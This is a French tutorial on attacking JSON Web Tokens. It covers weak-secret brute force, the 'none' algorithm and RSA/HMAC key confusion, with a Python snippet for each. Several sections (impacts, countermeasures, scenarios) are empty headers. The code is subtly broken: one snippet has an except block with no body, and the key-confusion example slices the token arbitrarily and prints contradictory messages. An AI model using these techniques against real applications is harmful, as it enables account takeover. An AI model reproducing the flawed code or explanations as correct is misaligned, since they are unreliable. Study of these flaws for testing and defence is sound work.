Un Json Web Token (JWT) est un standard utilisé pour l'authentification et l'autorisation dans les applications qui permet de transmettre de manière sécurisée des informations entre deux parties, généralement une application cliente et un serveur.
Un token JWT est un objet JSON encodé en base64 qui contient des informations liées à l'identité du client et à ses droits d'accès.
Les JWT sont souvent utilisés pour l'authentification en tant que jeton d'accès, ce qui permet à l'application cliente de réaliser des opérations sur les ressources protégées sur le serveur sans avoir à demander de nouvelles informations d'identification. Lorsqu'un utilisateur se connecte avec succès sur l'application, le serveur génère un JWT et l'envoie au client, qui peut alors utiliser ce jeton pour accéder à des ressources du serveur.
Le JWT est composé de trois parties, séparées par un point :
Il existe deux algorithmes couramment utilisés pour signer les JWT : RSA et HMAC :
Pour exploiter cette famille de vulnérabilité, il est nécessaire d’avoir accès à une application se basant sur des JWT pour garantir l'authentification des clients.
Naviguer sur l'application afin d'identifier les différents mécanismes d'authentification utilisés pour l'accès aux ressources. La présence d'un JWT sur un cookie de session peut être un indicateur pertinent de l'utilisation de ce dernier pour authentifier le client.
Analyser la structure du JWT, identifier l'algorithme utilisé, les données du payload, etc. L’objectif ici est de tester différentes attaques connues en lien avec de mauvaises vérifications du JWT par le serveur lors de l'accès à des ressources.
L'exploitation réussie de ce type de vulnérabilité peut permettre :
Les contre-mesures suivantes peuvent être mises en œuvre :
Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :
Voici un exemple de code Python qui consiste à exploiter une attaque type “brute-force” permettant de voir si la signature du JWT a été signée avec un secret faible :
import jwt jwt_string = "eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiMjQ4Mjg5NzYxIiwgIm5hbWUiOiAiSm9obiBEb2UiLCAiaWF0IjogMTUzNzg3MjAwMH0.8f928de2afee05bce432f166d140a04a29a7fc00e72c510cf56ec738cc7eb075" # liste de secrets passwords = ["123456", "password", "letmein", "monkey", "qwerty"] for password in passwords: try: # décodage du JWT avec le secret jwt.decode(jwt_string, password, verify=True) # en cas de décodage réussi print('Secret trouvé') exit(1) except: print('Secret non trouvé')
Dans ce code, nous commençons par définir le jeton JWT à attaquer, puis un tableau contenant les différents secrets à tester. Dans le cas ou le secret testé n'est pas valide, le message “Secret non trouvé” est affiché. Ce code va donc tester de signer le token avec plusieurs secrets, jusqu'à trouver le secret original qui a servi à signer le token.
Voici un exemple de code Python qui présente comment exploiter une vulnérabilité liée aux JWT en utilisant un JWT sans signature :
import jwt # JWT avec une signature "none" jwt_string = "eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiMjQ4Mjg5NzYxIiwgIm5hbWUiOiAiSm9obiBEb2UiLCAiaWF0IjogMTUzNzg3MjAwMH0." # tentative d'accès try: # décodage du JWT jwt.decode(jwt_string, verify=True) # en cas de décodage réussi print('Secret trouvé') exit(1) except jwt.exceptions.InvalidSignatureError: # echec de la vérification de la signature
Dans ce code, nous commençons par définir le jeton JWT avec un algorithme de signature à “none”. Ensuite, nous regardons si l'accès à une ressource sur le serveur avec ce jeton est possible.
Si le code côté serveur accepte que l'algorithme utilisé dans le header du JWT puisse être mis à “none”, alors il n'y a pas besoin de signer. Ainsi le serveur ne vérifiera pas si la signature est correcte par rapport au header et au payload du token.
Voici un exemple de code Python qui présente comment exploiter une vulnérabilité liée aux JWT en altérant le contenu du JWT grâce à une clé publique que l'attaquant a obtenu :
import jwt import rsa jwt_string = "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiMjQ4Mjg5NzYxIiwgIm5hbWUiOiAiSm9obiBEb2UiLCAiaWF0IjogMTUzNzg3MjAwMH0.8f928de2afee05bce432f166d140a04a29a7fc00e72c510cf56ec738cc7eb075" public_key_string = '-----BEGIN PUBLIC KEY-----[...]-----END PUBLIC KEY-----' # utilisation de la clé publique public_key = rsa.PublicKey.load_pkcs1(public_key_string) # modification du JWT (changement du nom de l'utilisateur) jwt_string_modified = jwt_string[:66] + "eyJuYW1lIjogIkpvaG4gRG9lIE1vZGlmaWVkIn0." + jwt_string[100:] # L'attaquant tente de décoder le JWT en utilisant l'algorithme HMAC SHA256 au lieu de l'algorithme RSA try: # décodage du JWT avec la clé publique jwt_decoded = jwt.decode(jwt_string_modified, public_key, verify=True) except jwt.exceptions.InvalidSignatureError: # echec de la vérification de la signature print("La signature du JWT est valide. Accès refusé.")
Dans ce code, l'attaquant a intercepté un JWT signé avec RSA et l'a modifié en changeant le nom de l'utilisateur. Il tente ensuite de décoder le JWT modifié en utilisant la clé publique du serveur. Si le décodage réussit, cela signifie que le JWT a été altéré et que l'attaquant peut accéder aux ressources d'un autre utilisateur.
URL :